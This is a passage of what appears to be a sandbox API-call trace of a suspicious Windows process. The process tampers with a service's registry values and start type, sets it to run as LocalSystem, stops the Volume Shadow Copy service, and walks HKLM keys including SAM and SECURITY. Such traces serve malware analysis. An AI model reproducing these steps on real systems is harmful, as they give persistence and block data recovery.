lpcbData=0x0) returned 0x0 [0212.913] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.913] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.913] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.913] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.913] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0212.913] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0212.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0212.913] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0212.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0212.914] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.914] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.914] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.914] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.914] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.914] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.914] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.914] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.914] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.914] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.914] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.915] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.915] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.915] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.915] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.915] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0212.915] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0212.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0212.915] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0212.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0212.915] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.915] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.915] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.915] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.916] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.916] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.916] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.916] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.916] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.916] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.916] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.916] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.916] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.916] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.916] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.916] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0212.916] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0212.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0212.917] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0212.917] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.917] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.917] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.917] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.917] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.917] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.917] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.917] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.917] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.917] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.917] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.917] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.918] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.918] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.918] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.918] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0212.918] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"", cbData=0x38 | out: lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"") returned 0x0 [0212.918] CommandLineToArgvW (in: lpCmdLine="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7df7b8*="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" [0212.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0212.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0212.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.918] LocalFree (hMem=0x7df7b8) returned 0x0 [0212.918] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"", cbData=0x38 | out: lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"") returned 0x0 [0212.918] OpenServiceW (hSCManager=0x803918, lpServiceName="Microsoft SharePoint Workspace Audit Service", dwDesiredAccess=0x2) returned 0x803990 [0212.919] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0212.937] CloseServiceHandle (hSCObject=0x803990) returned 1 [0212.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0212.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0212.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0212.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0212.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0212.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0212.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0212.937] RegCloseKey (hKey=0x148) returned 0x0 [0212.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0212.937] RegCloseKey (hKey=0x150) returned 0x0 [0212.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0212.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0212.937] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cb74000, ftLastWriteTime.dwHighDateTime=0x1cacbae, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0212.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0212.938] GetLastError () returned 0x20 [0212.938] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0212.938] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0212.939] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0212.939] OpenServiceW (hSCManager=0x803918, lpServiceName="VSS", dwDesiredAccess=0x20) returned 0x8038a0 [0212.939] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x5, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0213.022] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0213.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0213.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0213.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0213.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0213.022] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0213.023] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0213.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0213.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1850, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0213.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.023] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0213.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0213.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0213.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.023] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0213.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0213.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0213.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.023] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0213.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0213.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0213.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.024] RtlFreeHeap (HeapHandle=0x2520000, 